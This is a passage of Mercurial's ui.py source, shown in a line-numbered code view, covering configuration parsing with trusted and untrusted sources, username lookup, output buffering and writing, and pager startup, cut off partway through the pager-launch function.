|
374 | 374 | self._ucfg.update(cfg) |
|
375 | 375 | self._ucfg.update(self._ocfg) |
|
376 | 376 | |
|
377 | 377 | if root is None: |
|
378 | 378 | root = os.path.expanduser('~') |
|
379 | 379 | self.fixconfig(root=root) |
|
380 | 380 | |
|
381 | 381 | def fixconfig(self, root=None, section=None): |
|
382 | 382 | if section in (None, 'paths'): |
|
383 | 383 | # expand vars and ~ |
|
384 | 384 | # translate paths relative to root (or home) into absolute paths |
|
385 | 385 | root = root or pycompat.getcwd() |
|
386 | 386 | for c in self._tcfg, self._ucfg, self._ocfg: |
|
387 | 387 | for n, p in c.items('paths'): |
|
388 | 388 | # Ignore sub-options. |
|
389 | 389 | if ':' in n: |
|
390 | 390 | continue |
|
391 | 391 | if not p: |
|
392 | 392 | continue |
|
393 | 393 | if '%%' in p: |
|
394 | 394 | s = self.configsource('paths', n) or 'none' |
|
395 | 395 | self.warn(_("(deprecated '%%' in path %s=%s from %s)\n") |
|
396 | 396 | % (n, p, s)) |
|
397 | 397 | p = p.replace('%%', '%') |
|
398 | 398 | p = util.expandpath(p) |
|
399 | 399 | if not util.hasscheme(p) and not os.path.isabs(p): |
|
400 | 400 | p = os.path.normpath(os.path.join(root, p)) |
|
401 | 401 | c.set("paths", n, p) |
|
402 | 402 | |
|
403 | 403 | if section in (None, 'ui'): |
|
404 | 404 | # update ui options |
|
405 | 405 | self.debugflag = self.configbool('ui', 'debug') |
|
406 | 406 | self.verbose = self.debugflag or self.configbool('ui', 'verbose') |
|
407 | 407 | self.quiet = not self.debugflag and self.configbool('ui', 'quiet') |
|
408 | 408 | if self.verbose and self.quiet: |
|
409 | 409 | self.quiet = self.verbose = False |
|
410 | 410 | self._reportuntrusted = self.debugflag or self.configbool("ui", |
|
411 | 411 | "report_untrusted") |
|
412 | 412 | self.tracebackflag = self.configbool('ui', 'traceback') |
|
413 | 413 | self.logblockedtimes = self.configbool('ui', 'logblockedtimes') |
|
414 | 414 | |
|
415 | 415 | if section in (None, 'trusted'): |
|
416 | 416 | # update trust information |
|
417 | 417 | self._trustusers.update(self.configlist('trusted', 'users')) |
|
418 | 418 | self._trustgroups.update(self.configlist('trusted', 'groups')) |
|
419 | 419 | |
|
420 | 420 | def backupconfig(self, section, item): |
|
421 | 421 | return (self._ocfg.backup(section, item), |
|
422 | 422 | self._tcfg.backup(section, item), |
|
423 | 423 | self._ucfg.backup(section, item),) |
|
424 | 424 | def restoreconfig(self, data): |
|
425 | 425 | self._ocfg.restore(data[0]) |
|
426 | 426 | self._tcfg.restore(data[1]) |
|
427 | 427 | self._ucfg.restore(data[2]) |
|
428 | 428 | |
|
429 | 429 | def setconfig(self, section, name, value, source=''): |
|
430 | 430 | for cfg in (self._ocfg, self._tcfg, self._ucfg): |
|
431 | 431 | cfg.set(section, name, value, source) |
|
432 | 432 | self.fixconfig(section=section) |
|
433 | 433 | self._maybetweakdefaults() |
|
434 | 434 | |
|
435 | 435 | def _data(self, untrusted): |
|
436 | 436 | return untrusted and self._ucfg or self._tcfg |
|
437 | 437 | |
|
438 | 438 | def configsource(self, section, name, untrusted=False): |
|
439 | 439 | return self._data(untrusted).source(section, name) |
|
440 | 440 | |
|
441 | 441 | def config(self, section, name, default=_unset, untrusted=False): |
|
442 | 442 | """return the plain string version of a config""" |
|
443 | 443 | value = self._config(section, name, default=default, |
|
444 | 444 | untrusted=untrusted) |
|
445 | 445 | if value is _unset: |
|
446 | 446 | return None |
|
447 | 447 | return value |
|
448 | 448 | |
|
449 | 449 | def _config(self, section, name, default=_unset, untrusted=False): |
|
450 | 450 | value = default |
|
451 | 451 | item = self._knownconfig.get(section, {}).get(name) |
|
452 | 452 | alternates = [(section, name)] |
|
453 | 453 | |
|
454 | 454 | if item is not None: |
|
455 | 455 | alternates.extend(item.alias) |
|
456 | 456 | |
|
457 | 457 | if default is _unset: |
|
458 | 458 | if item is None: |
|
459 | 459 | value = default |
|
460 | 460 | elif item.default is configitems.dynamicdefault: |
|
461 | 461 | value = None |
|
462 | 462 | msg = "config item requires an explicit default value: '%s.%s'" |
|
463 | 463 | msg %= (section, name) |
|
464 | 464 | self.develwarn(msg, 2, 'warn-config-default') |
|
465 | 465 | elif callable(item.default): |
|
466 | 466 | value = item.default() |
|
467 | 467 | else: |
|
468 | 468 | value = item.default |
|
469 | 469 | elif (item is not None |
|
470 | 470 | and item.default is not configitems.dynamicdefault): |
|
471 | 471 | msg = ("specifying a default value for a registered " |
|
472 | 472 | "config item: '%s.%s' '%s'") |
|
473 | 473 | msg %= (section, name, default) |
|
474 | 474 | self.develwarn(msg, 2, 'warn-config-default') |
|
475 | 475 | |
|
476 | 476 | for s, n in alternates: |
|
477 | 477 | candidate = self._data(untrusted).get(s, n, None) |
|
478 | 478 | if candidate is not None: |
|
479 | 479 | value = candidate |
|
480 | 480 | section = s |
|
481 | 481 | name = n |
|
482 | 482 | break |
|
483 | 483 | |
|
484 | 484 | if self.debugflag and not untrusted and self._reportuntrusted: |
|
485 | 485 | for s, n in alternates: |
|
486 | 486 | uvalue = self._ucfg.get(s, n) |
|
487 | 487 | if uvalue is not None and uvalue != value: |
|
488 | 488 | self.debug("ignoring untrusted configuration option " |
|
489 | 489 | "%s.%s = %s\n" % (s, n, uvalue)) |
|
490 | 490 | return value |
|
491 | 491 | |
|
492 | 492 | def configsuboptions(self, section, name, default=_unset, untrusted=False): |
|
493 | 493 | """Get a config option and all sub-options. |
|
494 | 494 | |
|
495 | 495 | Some config options have sub-options that are declared with the |
|
496 | 496 | format "key:opt = value". This method is used to return the main |
|
497 | 497 | option and all its declared sub-options. |
|
498 | 498 | |
|
499 | 499 | Returns a 2-tuple of ``(option, sub-options)``, where `sub-options`` |
|
500 | 500 | is a dict of defined sub-options where keys and values are strings. |
|
501 | 501 | """ |
|
502 | 502 | main = self.config(section, name, default, untrusted=untrusted) |
|
503 | 503 | data = self._data(untrusted) |
|
504 | 504 | sub = {} |
|
505 | 505 | prefix = '%s:' % name |
|
506 | 506 | for k, v in data.items(section): |
|
507 | 507 | if k.startswith(prefix): |
|
508 | 508 | sub[k[len(prefix):]] = v |
|
509 | 509 | |
|
510 | 510 | if self.debugflag and not untrusted and self._reportuntrusted: |
|
511 | 511 | for k, v in sub.items(): |
|
512 | 512 | uvalue = self._ucfg.get(section, '%s:%s' % (name, k)) |
|
513 | 513 | if uvalue is not None and uvalue != v: |
|
514 | 514 | self.debug('ignoring untrusted configuration option ' |
|
515 | 515 | '%s:%s.%s = %s\n' % (section, name, k, uvalue)) |
|
516 | 516 | |
|
517 | 517 | return main, sub |
|
518 | 518 | |
|
519 | 519 | def configpath(self, section, name, default=_unset, untrusted=False): |
|
520 | 520 | 'get a path config item, expanded relative to repo root or config file' |
|
521 | 521 | v = self.config(section, name, default, untrusted) |
|
522 | 522 | if v is None: |
|
523 | 523 | return None |
|
524 | 524 | if not os.path.isabs(v) or "://" not in v: |
|
525 | 525 | src = self.configsource(section, name, untrusted) |
|
526 | 526 | if ':' in src: |
|
527 | 527 | base = os.path.dirname(src.rsplit(':')[0]) |
|
528 | 528 | v = os.path.join(base, os.path.expanduser(v)) |
|
529 | 529 | return v |
|
530 | 530 | |
|
531 | 531 | def configbool(self, section, name, default=_unset, untrusted=False): |
|
532 | 532 | """parse a configuration element as a boolean |
|
533 | 533 | |
|
534 | 534 | >>> u = ui(); s = 'foo' |
|
535 | 535 | >>> u.setconfig(s, 'true', 'yes') |
|
536 | 536 | >>> u.configbool(s, 'true') |
|
537 | 537 | True |
|
538 | 538 | >>> u.setconfig(s, 'false', 'no') |
|
539 | 539 | >>> u.configbool(s, 'false') |
|
540 | 540 | False |
|
541 | 541 | >>> u.configbool(s, 'unknown') |
|
542 | 542 | False |
|
543 | 543 | >>> u.configbool(s, 'unknown', True) |
|
544 | 544 | True |
|
545 | 545 | >>> u.setconfig(s, 'invalid', 'somevalue') |
|
546 | 546 | >>> u.configbool(s, 'invalid') |
|
547 | 547 | Traceback (most recent call last): |
|
548 | 548 | ... |
|
549 | 549 | ConfigError: foo.invalid is not a boolean ('somevalue') |
|
550 | 550 | """ |
|
551 | 551 | |
|
552 | 552 | v = self._config(section, name, default, untrusted=untrusted) |
|
553 | 553 | if v is None: |
|
554 | 554 | return v |
|
555 | 555 | if v is _unset: |
|
556 | 556 | if default is _unset: |
|
557 | 557 | return False |
|
558 | 558 | return default |
|
559 | 559 | if isinstance(v, bool): |
|
560 | 560 | return v |
|
561 | 561 | b = util.parsebool(v) |
|
562 | 562 | if b is None: |
|
563 | 563 | raise error.ConfigError(_("%s.%s is not a boolean ('%s')") |
|
564 | 564 | % (section, name, v)) |
|
565 | 565 | return b |
|
566 | 566 | |
|
567 | 567 | def configwith(self, convert, section, name, default=_unset, |
|
568 | 568 | desc=None, untrusted=False): |
|
569 | 569 | """parse a configuration element with a conversion function |
|
570 | 570 | |
|
571 | 571 | >>> u = ui(); s = 'foo' |
|
572 | 572 | >>> u.setconfig(s, 'float1', '42') |
|
573 | 573 | >>> u.configwith(float, s, 'float1') |
|
574 | 574 | 42.0 |
|
575 | 575 | >>> u.setconfig(s, 'float2', '-4.25') |
|
576 | 576 | >>> u.configwith(float, s, 'float2') |
|
577 | 577 | -4.25 |
|
578 | 578 | >>> u.configwith(float, s, 'unknown', 7) |
|
579 | 579 | 7.0 |
|
580 | 580 | >>> u.setconfig(s, 'invalid', 'somevalue') |
|
581 | 581 | >>> u.configwith(float, s, 'invalid') |
|
582 | 582 | Traceback (most recent call last): |
|
583 | 583 | ... |
|
584 | 584 | ConfigError: foo.invalid is not a valid float ('somevalue') |
|
585 | 585 | >>> u.configwith(float, s, 'invalid', desc='womble') |
|
586 | 586 | Traceback (most recent call last): |
|
587 | 587 | ... |
|
588 | 588 | ConfigError: foo.invalid is not a valid womble ('somevalue') |
|
589 | 589 | """ |
|
590 | 590 | |
|
591 | 591 | v = self.config(section, name, default, untrusted) |
|
592 | 592 | if v is None: |
|
593 | 593 | return v # do not attempt to convert None |
|
594 | 594 | try: |
|
595 | 595 | return convert(v) |
|
596 | 596 | except (ValueError, error.ParseError): |
|
597 | 597 | if desc is None: |
|
598 | 598 | desc = convert.__name__ |
|
599 | 599 | raise error.ConfigError(_("%s.%s is not a valid %s ('%s')") |
|
600 | 600 | % (section, name, desc, v)) |
|
601 | 601 | |
|
602 | 602 | def configint(self, section, name, default=_unset, untrusted=False): |
|
603 | 603 | """parse a configuration element as an integer |
|
604 | 604 | |
|
605 | 605 | >>> u = ui(); s = 'foo' |
|
606 | 606 | >>> u.setconfig(s, 'int1', '42') |
|
607 | 607 | >>> u.configint(s, 'int1') |
|
608 | 608 | 42 |
|
609 | 609 | >>> u.setconfig(s, 'int2', '-42') |
|
610 | 610 | >>> u.configint(s, 'int2') |
|
611 | 611 | -42 |
|
612 | 612 | >>> u.configint(s, 'unknown', 7) |
|
613 | 613 | 7 |
|
614 | 614 | >>> u.setconfig(s, 'invalid', 'somevalue') |
|
615 | 615 | >>> u.configint(s, 'invalid') |
|
616 | 616 | Traceback (most recent call last): |
|
617 | 617 | ... |
|
618 | 618 | ConfigError: foo.invalid is not a valid integer ('somevalue') |
|
619 | 619 | """ |
|
620 | 620 | |
|
621 | 621 | return self.configwith(int, section, name, default, 'integer', |
|
622 | 622 | untrusted) |
|
623 | 623 | |
|
624 | 624 | def configbytes(self, section, name, default=_unset, untrusted=False): |
|
625 | 625 | """parse a configuration element as a quantity in bytes |
|
626 | 626 | |
|
627 | 627 | Units can be specified as b (bytes), k or kb (kilobytes), m or |
|
628 | 628 | mb (megabytes), g or gb (gigabytes). |
|
629 | 629 | |
|
630 | 630 | >>> u = ui(); s = 'foo' |
|
631 | 631 | >>> u.setconfig(s, 'val1', '42') |
|
632 | 632 | >>> u.configbytes(s, 'val1') |
|
633 | 633 | 42 |
|
634 | 634 | >>> u.setconfig(s, 'val2', '42.5 kb') |
|
635 | 635 | >>> u.configbytes(s, 'val2') |
|
636 | 636 | 43520 |
|
637 | 637 | >>> u.configbytes(s, 'unknown', '7 MB') |
|
638 | 638 | 7340032 |
|
639 | 639 | >>> u.setconfig(s, 'invalid', 'somevalue') |
|
640 | 640 | >>> u.configbytes(s, 'invalid') |
|
641 | 641 | Traceback (most recent call last): |
|
642 | 642 | ... |
|
643 | 643 | ConfigError: foo.invalid is not a byte quantity ('somevalue') |
|
644 | 644 | """ |
|
645 | 645 | |
|
646 | 646 | value = self._config(section, name, default, untrusted) |
|
647 | 647 | if value is _unset: |
|
648 | 648 | if default is _unset: |
|
649 | 649 | default = 0 |
|
650 | 650 | value = default |
|
651 | 651 | if not isinstance(value, bytes): |
|
652 | 652 | return value |
|
653 | 653 | try: |
|
654 | 654 | return util.sizetoint(value) |
|
655 | 655 | except error.ParseError: |
|
656 | 656 | raise error.ConfigError(_("%s.%s is not a byte quantity ('%s')") |
|
657 | 657 | % (section, name, value)) |
|
658 | 658 | |
|
659 | 659 | def configlist(self, section, name, default=_unset, untrusted=False): |
|
660 | 660 | """parse a configuration element as a list of comma/space separated |
|
661 | 661 | strings |
|
662 | 662 | |
|
663 | 663 | >>> u = ui(); s = 'foo' |
|
664 | 664 | >>> u.setconfig(s, 'list1', 'this,is "a small" ,test') |
|
665 | 665 | >>> u.configlist(s, 'list1') |
|
666 | 666 | ['this', 'is', 'a small', 'test'] |
|
667 | 667 | """ |
|
668 | 668 | # default is not always a list |
|
669 | 669 | v = self.configwith(config.parselist, section, name, default, |
|
670 | 670 | 'list', untrusted) |
|
671 | 671 | if isinstance(v, bytes): |
|
672 | 672 | return config.parselist(v) |
|
673 | 673 | elif v is None: |
|
674 | 674 | return [] |
|
675 | 675 | return v |
|
676 | 676 | |
|
677 | 677 | def configdate(self, section, name, default=_unset, untrusted=False): |
|
678 | 678 | """parse a configuration element as a tuple of ints |
|
679 | 679 | |
|
680 | 680 | >>> u = ui(); s = 'foo' |
|
681 | 681 | >>> u.setconfig(s, 'date', '0 0') |
|
682 | 682 | >>> u.configdate(s, 'date') |
|
683 | 683 | (0, 0) |
|
684 | 684 | """ |
|
685 | 685 | if self.config(section, name, default, untrusted): |
|
686 | 686 | return self.configwith(util.parsedate, section, name, default, |
|
687 | 687 | 'date', untrusted) |
|
688 | 688 | if default is _unset: |
|
689 | 689 | return None |
|
690 | 690 | return default |
|
691 | 691 | |
|
692 | 692 | def hasconfig(self, section, name, untrusted=False): |
|
693 | 693 | return self._data(untrusted).hasitem(section, name) |
|
694 | 694 | |
|
695 | 695 | def has_section(self, section, untrusted=False): |
|
696 | 696 | '''tell whether section exists in config.''' |
|
697 | 697 | return section in self._data(untrusted) |
|
698 | 698 | |
|
699 | 699 | def configitems(self, section, untrusted=False, ignoresub=False): |
|
700 | 700 | items = self._data(untrusted).items(section) |
|
701 | 701 | if ignoresub: |
|
702 | 702 | newitems = {} |
|
703 | 703 | for k, v in items: |
|
704 | 704 | if ':' not in k: |
|
705 | 705 | newitems[k] = v |
|
706 | 706 | items = newitems.items() |
|
707 | 707 | if self.debugflag and not untrusted and self._reportuntrusted: |
|
708 | 708 | for k, v in self._ucfg.items(section): |
|
709 | 709 | if self._tcfg.get(section, k) != v: |
|
710 | 710 | self.debug("ignoring untrusted configuration option " |
|
711 | 711 | "%s.%s = %s\n" % (section, k, v)) |
|
712 | 712 | return items |
|
713 | 713 | |
|
714 | 714 | def walkconfig(self, untrusted=False): |
|
715 | 715 | cfg = self._data(untrusted) |
|
716 | 716 | for section in cfg.sections(): |
|
717 | 717 | for name, value in self.configitems(section, untrusted): |
|
718 | 718 | yield section, name, value |
|
719 | 719 | |
|
720 | 720 | def plain(self, feature=None): |
|
721 | 721 | '''is plain mode active? |
|
722 | 722 | |
|
723 | 723 | Plain mode means that all configuration variables which affect |
|
724 | 724 | the behavior and output of Mercurial should be |
|
725 | 725 | ignored. Additionally, the output should be stable, |
|
726 | 726 | reproducible and suitable for use in scripts or applications. |
|
727 | 727 | |
|
728 | 728 | The only way to trigger plain mode is by setting either the |
|
729 | 729 | `HGPLAIN' or `HGPLAINEXCEPT' environment variables. |
|
730 | 730 | |
|
731 | 731 | The return value can either be |
|
732 | 732 | - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT |
|
733 | 733 | - True otherwise |
|
734 | 734 | ''' |
|
735 | 735 | if ('HGPLAIN' not in encoding.environ and |
|
736 | 736 | 'HGPLAINEXCEPT' not in encoding.environ): |
|
737 | 737 | return False |
|
738 | 738 | exceptions = encoding.environ.get('HGPLAINEXCEPT', |
|
739 | 739 | '').strip().split(',') |
|
740 | 740 | if feature and exceptions: |
|
741 | 741 | return feature not in exceptions |
|
742 | 742 | return True |
|
743 | 743 | |
|
744 | 744 | def username(self): |
|
745 | 745 | """Return default username to be used in commits. |
|
746 | 746 | |
|
747 | 747 | Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL |
|
748 | 748 | and stop searching if one of these is set. |
|
749 | 749 | If not found and ui.askusername is True, ask the user, else use |
|
750 | 750 | ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname". |
|
751 | 751 | """ |
|
752 | 752 | user = encoding.environ.get("HGUSER") |
|
753 | 753 | if user is None: |
|
754 | 754 | user = self.config("ui", "username") |
|
755 | 755 | if user is not None: |
|
756 | 756 | user = os.path.expandvars(user) |
|
757 | 757 | if user is None: |
|
758 | 758 | user = encoding.environ.get("EMAIL") |
|
759 | 759 | if user is None and self.configbool("ui", "askusername"): |
|
760 | 760 | user = self.prompt(_("enter a commit username:"), default=None) |
|
761 | 761 | if user is None and not self.interactive(): |
|
762 | 762 | try: |
|
763 | 763 | user = '%s@%s' % (util.getuser(), socket.getfqdn()) |
|
764 | 764 | self.warn(_("no username found, using '%s' instead\n") % user) |
|
765 | 765 | except KeyError: |
|
766 | 766 | pass |
|
767 | 767 | if not user: |
|
768 | 768 | raise error.Abort(_('no username supplied'), |
|
769 | 769 | hint=_("use 'hg config --edit' " |
|
770 | 770 | 'to set your username')) |
|
771 | 771 | if "\n" in user: |
|
772 | 772 | raise error.Abort(_("username %s contains a newline\n") |
|
773 | 773 | % repr(user)) |
|
774 | 774 | return user |
|
775 | 775 | |
|
776 | 776 | def shortuser(self, user): |
|
777 | 777 | """Return a short representation of a user name or email address.""" |
|
778 | 778 | if not self.verbose: |
|
779 | 779 | user = util.shortuser(user) |
|
780 | 780 | return user |
|
781 | 781 | |
|
782 | 782 | def expandpath(self, loc, default=None): |
|
783 | 783 | """Return repository location relative to cwd or from [paths]""" |
|
784 | 784 | try: |
|
785 | 785 | p = self.paths.getpath(loc) |
|
786 | 786 | if p: |
|
787 | 787 | return p.rawloc |
|
788 | 788 | except error.RepoError: |
|
789 | 789 | pass |
|
790 | 790 | |
|
791 | 791 | if default: |
|
792 | 792 | try: |
|
793 | 793 | p = self.paths.getpath(default) |
|
794 | 794 | if p: |
|
795 | 795 | return p.rawloc |
|
796 | 796 | except error.RepoError: |
|
797 | 797 | pass |
|
798 | 798 | |
|
799 | 799 | return loc |
|
800 | 800 | |
|
801 | 801 | @util.propertycache |
|
802 | 802 | def paths(self): |
|
803 | 803 | return paths(self) |
|
804 | 804 | |
|
805 | 805 | def pushbuffer(self, error=False, subproc=False, labeled=False): |
|
806 | 806 | """install a buffer to capture standard output of the ui object |
|
807 | 807 | |
|
808 | 808 | If error is True, the error output will be captured too. |
|
809 | 809 | |
|
810 | 810 | If subproc is True, output from subprocesses (typically hooks) will be |
|
811 | 811 | captured too. |
|
812 | 812 | |
|
813 | 813 | If labeled is True, any labels associated with buffered |
|
814 | 814 | output will be handled. By default, this has no effect |
|
815 | 815 | on the output returned, but extensions and GUI tools may |
|
816 | 816 | handle this argument and returned styled output. If output |
|
817 | 817 | is being buffered so it can be captured and parsed or |
|
818 | 818 | processed, labeled should not be set to True. |
|
819 | 819 | """ |
|
820 | 820 | self._buffers.append([]) |
|
821 | 821 | self._bufferstates.append((error, subproc, labeled)) |
|
822 | 822 | self._bufferapplylabels = labeled |
|
823 | 823 | |
|
824 | 824 | def popbuffer(self): |
|
825 | 825 | '''pop the last buffer and return the buffered output''' |
|
826 | 826 | self._bufferstates.pop() |
|
827 | 827 | if self._bufferstates: |
|
828 | 828 | self._bufferapplylabels = self._bufferstates[-1][2] |
|
829 | 829 | else: |
|
830 | 830 | self._bufferapplylabels = None |
|
831 | 831 | |
|
832 | 832 | return "".join(self._buffers.pop()) |
|
833 | 833 | |
|
834 | 834 | def write(self, *args, **opts): |
|
835 | 835 | '''write args to output |
|
836 | 836 | |
|
837 | 837 | By default, this method simply writes to the buffer or stdout. |
|
838 | 838 | Color mode can be set on the UI class to have the output decorated |
|
839 | 839 | with color modifier before being written to stdout. |
|
840 | 840 | |
|
841 | 841 | The color used is controlled by an optional keyword argument, "label". |
|
842 | 842 | This should be a string containing label names separated by space. |
|
843 | 843 | Label names take the form of "topic.type". For example, ui.debug() |
|
844 | 844 | issues a label of "ui.debug". |
|
845 | 845 | |
|
846 | 846 | When labeling output for a specific command, a label of |
|
847 | 847 | "cmdname.type" is recommended. For example, status issues |
|
848 | 848 | a label of "status.modified" for modified files. |
|
849 | 849 | ''' |
|
850 | 850 | if self._buffers and not opts.get('prompt', False): |
|
851 | 851 | if self._bufferapplylabels: |
|
852 | 852 | label = opts.get('label', '') |
|
853 | 853 | self._buffers[-1].extend(self.label(a, label) for a in args) |
|
854 | 854 | else: |
|
855 | 855 | self._buffers[-1].extend(args) |
|
856 | 856 | elif self._colormode == 'win32': |
|
857 | 857 | # windows color printing is its own can of crab, defer to |
|
858 | 858 | # the color module and that is it. |
|
859 | 859 | color.win32print(self, self._write, *args, **opts) |
|
860 | 860 | else: |
|
861 | 861 | msgs = args |
|
862 | 862 | if self._colormode is not None: |
|
863 | 863 | label = opts.get('label', '') |
|
864 | 864 | msgs = [self.label(a, label) for a in args] |
|
865 | 865 | self._write(*msgs, **opts) |
|
866 | 866 | |
|
867 | 867 | def _write(self, *msgs, **opts): |
|
868 | 868 | self._progclear() |
|
869 | 869 | # opencode timeblockedsection because this is a critical path |
|
870 | 870 | starttime = util.timer() |
|
871 | 871 | try: |
|
872 | 872 | for a in msgs: |
|
873 | 873 | self.fout.write(a) |
|
874 | 874 | except IOError as err: |
|
875 | 875 | raise error.StdioError(err) |
|
876 | 876 | finally: |
|
877 | 877 | self._blockedtimes['stdio_blocked'] += \ |
|
878 | 878 | (util.timer() - starttime) * 1000 |
|
879 | 879 | |
|
880 | 880 | def write_err(self, *args, **opts): |
|
881 | 881 | self._progclear() |
|
882 | 882 | if self._bufferstates and self._bufferstates[-1][0]: |
|
883 | 883 | self.write(*args, **opts) |
|
884 | 884 | elif self._colormode == 'win32': |
|
885 | 885 | # windows color printing is its own can of crab, defer to |
|
886 | 886 | # the color module and that is it. |
|
887 | 887 | color.win32print(self, self._write_err, *args, **opts) |
|
888 | 888 | else: |
|
889 | 889 | msgs = args |
|
890 | 890 | if self._colormode is not None: |
|
891 | 891 | label = opts.get('label', '') |
|
892 | 892 | msgs = [self.label(a, label) for a in args] |
|
893 | 893 | self._write_err(*msgs, **opts) |
|
894 | 894 | |
|
895 | 895 | def _write_err(self, *msgs, **opts): |
|
896 | 896 | try: |
|
897 | 897 | with self.timeblockedsection('stdio'): |
|
898 | 898 | if not getattr(self.fout, 'closed', False): |
|
899 | 899 | self.fout.flush() |
|
900 | 900 | for a in msgs: |
|
901 | 901 | self.ferr.write(a) |
|
902 | 902 | # stderr may be buffered under win32 when redirected to files, |
|
903 | 903 | # including stdout. |
|
904 | 904 | if not getattr(self.ferr, 'closed', False): |
|
905 | 905 | self.ferr.flush() |
|
906 | 906 | except IOError as inst: |
|
907 | 907 | raise error.StdioError(inst) |
|
908 | 908 | |
|
909 | 909 | def flush(self): |
|
910 | 910 | # opencode timeblockedsection because this is a critical path |
|
911 | 911 | starttime = util.timer() |
|
912 | 912 | try: |
|
913 | 913 | try: |
|
914 | 914 | self.fout.flush() |
|
915 | 915 | except IOError as err: |
|
916 | 916 | raise error.StdioError(err) |
|
917 | 917 | finally: |
|
918 | 918 | try: |
|
919 | 919 | self.ferr.flush() |
|
920 | 920 | except IOError as err: |
|
921 | 921 | raise error.StdioError(err) |
|
922 | 922 | finally: |
|
923 | 923 | self._blockedtimes['stdio_blocked'] += \ |
|
924 | 924 | (util.timer() - starttime) * 1000 |
|
925 | 925 | |
|
926 | 926 | def _isatty(self, fh): |
|
927 | 927 | if self.configbool('ui', 'nontty'): |
|
928 | 928 | return False |
|
929 | 929 | return util.isatty(fh) |
|
930 | 930 | |
|
931 | 931 | def disablepager(self): |
|
932 | 932 | self._disablepager = True |
|
933 | 933 | |
|
934 | 934 | def pager(self, command): |
|
935 | 935 | """Start a pager for subsequent command output. |
|
936 | 936 | |
|
937 | 937 | Commands which produce a long stream of output should call |
|
938 | 938 | this function to activate the user's preferred pagination |
|
939 | 939 | mechanism (which may be no pager). Calling this function |
|
940 | 940 | precludes any future use of interactive functionality, such as |
|
941 | 941 | prompting the user or activating curses. |
|
942 | 942 | |
|
943 | 943 | Args: |
|
944 | 944 | command: The full, non-aliased name of the command. That is, "log" |
|
945 | 945 | not "history, "summary" not "summ", etc. |
|
946 | 946 | """ |
|
947 | 947 | if (self._disablepager |
|
948 | 948 | or self.pageractive): |
|
949 | 949 | # how pager should do is already determined |
|
950 | 950 | return |
|
951 | 951 | |
|
952 | 952 | if not command.startswith('internal-always-') and ( |
|
953 | 953 | # explicit --pager=on (= 'internal-always-' prefix) should |
|
954 | 954 | # take precedence over disabling factors below |
|
955 | 955 | command in self.configlist('pager', 'ignore') |
|
956 | 956 | or not self.configbool('ui', 'paginate') |
|
957 | 957 | or not self.configbool('pager', 'attend-' + command, True) |
|
958 | 958 | # TODO: if we want to allow HGPLAINEXCEPT=pager, |
|
959 | 959 | # formatted() will need some adjustment. |
|
960 | 960 | or not self.formatted() |
|
961 | 961 | or self.plain() |
|
962 | 962 | # TODO: expose debugger-enabled on the UI object |
|
963 | 963 | or '--debugger' in pycompat.sysargv): |
|
964 | 964 | # We only want to paginate if the ui appears to be |
|
965 | 965 | # interactive, the user didn't say HGPLAIN or |
|
966 | 966 | # HGPLAINEXCEPT=pager, and the user didn't specify --debug. |
|
967 | 967 | return |
|
968 | 968 | |
|
969 | 969 | pagercmd = self.config('pager', 'pager', rcutil.fallbackpager) |
|
970 | 970 | if not pagercmd: |
|
971 | 971 | return |
|
972 | 972 | |
|
973 | 973 | pagerenv = {} |
|
974 | 974 | for name, value in rcutil.defaultpagerenv().items(): |
|
975 | 975 | if name not in encoding.environ: |
|
976 | 976 | pagerenv[name] = value |
|
977 | 977 | |
|
978 | 978 | self.debug('starting pager for command %r\n' % command) |
|
979 | 979 | self.flush() |
|
980 | 980 | |
|
981 | 981 | wasformatted = self.formatted() |
|
982 | 982 | if util.safehasattr(signal, "SIGPIPE"): |
|
983 | 983 | signal.signal(signal.SIGPIPE, _catchterm) |
|
984 | 984 | if self._runpager(pagercmd, pagerenv): |
|
985 | 985 | self.pageractive = True |
|
986 | 986 | # Preserve the formatted-ness of the UI. This is important |
|
987 | 987 | # because we mess with stdout, which might confuse |
|
988 | 988 | # auto-detection of things being formatted. |
|
989 | 989 | self.setconfig('ui', 'formatted', wasformatted, 'pager') |
|
990 | 990 | self.setconfig('ui', 'interactive', False, 'pager') |
|
991 | 991 | |
|
992 | 992 | # If pagermode differs from color.mode, reconfigure color now that |
|
993 | 993 | # pageractive is set. |
|
994 | 994 | cm = self._colormode |
|
995 | 995 | if cm != self.config('color', 'pagermode', cm): |
|
996 | 996 | color.setup(self) |
|
997 | 997 | else: |
|
998 | 998 | # If the pager can't be spawned in dispatch when --pager=on is |
|
999 | 999 | # given, don't try again when the command runs, to avoid a duplicate |
|
1000 | 1000 | # warning about a missing pager command. |
|
1001 | 1001 | self.disablepager() |
|
1002 | 1002 | |
|
1003 | 1003 | def _runpager(self, command, env=None): |
|
1004 | 1004 | """Actually start the pager and set up file descriptors. |
|
1005 | 1005 | |
|
1006 | 1006 | This is separate in part so that extensions (like chg) can |
|
1007 | 1007 | override how a pager is invoked. |
|
1008 | 1008 | """ |
|
1009 | 1009 | if command == 'cat': |
|
1010 | 1010 | # Save ourselves some work. |
|
1011 | 1011 | return False |
|
1012 | 1012 | # If the command doesn't contain any of these characters, we |
|
1013 | 1013 | # assume it's a binary and exec it directly. This means for |
|
1014 | 1014 | # simple pager command configurations, we can degrade |
|
1015 | 1015 | # gracefully and tell the user about their broken pager. |
|
1016 | 1016 | shell = any(c in command for c in "|&;<>()$`\\\"' \t\n*?[#~=%") |
|
1017 | 1017 | |
|
1018 | 1018 | if pycompat.osname == 'nt' and not shell: |
|
1019 | 1019 | # Window's built-in `more` cannot be invoked with shell=False, but |
|
1020 | 1020 | # its `more.com` can. Hide this implementation detail from the |
|
1021 | 1021 | # user so we can also get sane bad PAGER behavior. MSYS has |
|
1022 | 1022 | # `more.exe`, so do a cmd.exe style resolution of the executable to |
|
1023 | 1023 | # determine which one to use. |
|
1024 | 1024 | fullcmd = util.findexe(command) |
|
1025 | 1025 | if not fullcmd: |
|
1026 | 1026 | self.warn(_("missing pager command '%s', skipping pager\n") |
|
1027 | 1027 | % command) |
|
1028 | 1028 | return False |
|
1029 | 1029 | |
|
1030 | 1030 | command = fullcmd |
|
1031 | 1031 | |
|
1032 | 1032 | try: |
|
1033 | 1033 | pager = subprocess.Popen( |
|
1034 | 1034 | command, shell=shell, bufsize=-1, |
|
1035 | 1035 | close_fds=util.closefds, stdin=subprocess.PIPE, |
|
1036 | 1036 | stdout=util.stdout, stderr=util.stderr, |
|
1037 | 1037 | env=util.shellenviron(env)) |
|
1038 | 1038 | except OSError as e: |
|
1039 | 1039 | if e.errno == errno.ENOENT and not shell: |
|
